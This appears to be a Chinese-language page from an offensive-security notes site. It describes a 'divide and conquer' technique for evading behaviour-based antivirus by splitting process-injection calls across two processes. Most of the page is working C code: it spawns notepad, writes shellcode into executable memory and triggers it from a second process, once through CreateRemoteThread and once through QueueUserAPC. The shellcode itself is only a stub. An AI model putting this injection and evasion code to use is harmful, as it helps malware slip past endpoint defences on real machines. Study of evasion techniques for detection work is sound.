Divide and Conquer

 简介
看到了一种比较有意思的手法，现在的杀软会关注函数的执行链， theevilbit公开了一种通过不同进程分离执行API，绕过基于行为的AV检测。
常见的行为检测会有监控堆栈的调用链和hookapi记录行为，这种分离执行方式都能绕过。
流程
1.创建傀儡进程
2.向傀儡进程写入payload
3.创建同文件进程传入pid
4.通过pid打开傀儡句柄
5.创建远程线程
代码
1
​
2
​
3
#include <stdio.h>
4
#include <windows.h>
5
unsigned char shellcode[] =
6
"\xfc78\x00";
7
​
8
int main(int argc, char* argv[]) {
9
​
10
    if (argv[1]==NULL)
11
    {
12
        STARTUPINFOA si = { 0 };
13
        si.cb = sizeof(si);
14
        PROCESS_INFORMATION pi = { 0 };
15
​
16
        CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
17
        VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
18
        WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);
19
​
20
        char cmd[MAX_PATH] = {0};
21
        wsprintfA(cmd, "%s %d", argv[0], pi.dwProcessId);
22
​
23
        CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
24
    }
25
    else
26
    {
27
        HANDLE hProcess =  OpenProcess(PROCESS_ALL_ACCESS, NULL, atoi(argv[1]));
28
        CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0x0000480000000000, 0, 0, 0);
29
    }
30
    
31
    
32
    return 0;
33
}
34
​
Copied!
同理
1
    if (argv[1]==NULL)
2
    {
3
        STARTUPINFOA si = { 0 };
4
        si.cb = sizeof(si);
5
        PROCESS_INFORMATION pi = { 0 };
6
​
7
        CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
8
        VirtualAllocEx(pi.hProcess, (PVOID)0x0000480000000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
9
        WriteProcessMemory(pi.hProcess, (PVOID)0x0000480000000000, shellcode, sizeof(shellcode), NULL);
10
        char cmd[MAX_PATH] = {0};
11
        wsprintfA(cmd, "%s %d", argv[0], pi.dwThreadId);
12
        QueueUserAPC((PAPCFUNC)0x0000480000000000, pi.hThread, NULL);
13
        CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
14
    }
15
    else
16
    {
17
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, NULL, atoi(argv[1]));
18
        ResumeThread(hThread);
19
    }
20
    
Copied!
LINK
​

防御逃避 - 以前

x64转换层&跨位数进程注入

下一个 - 代码与进程注入

Clipboard Data Deliver

最近更新 10mo ago

复制链接

内容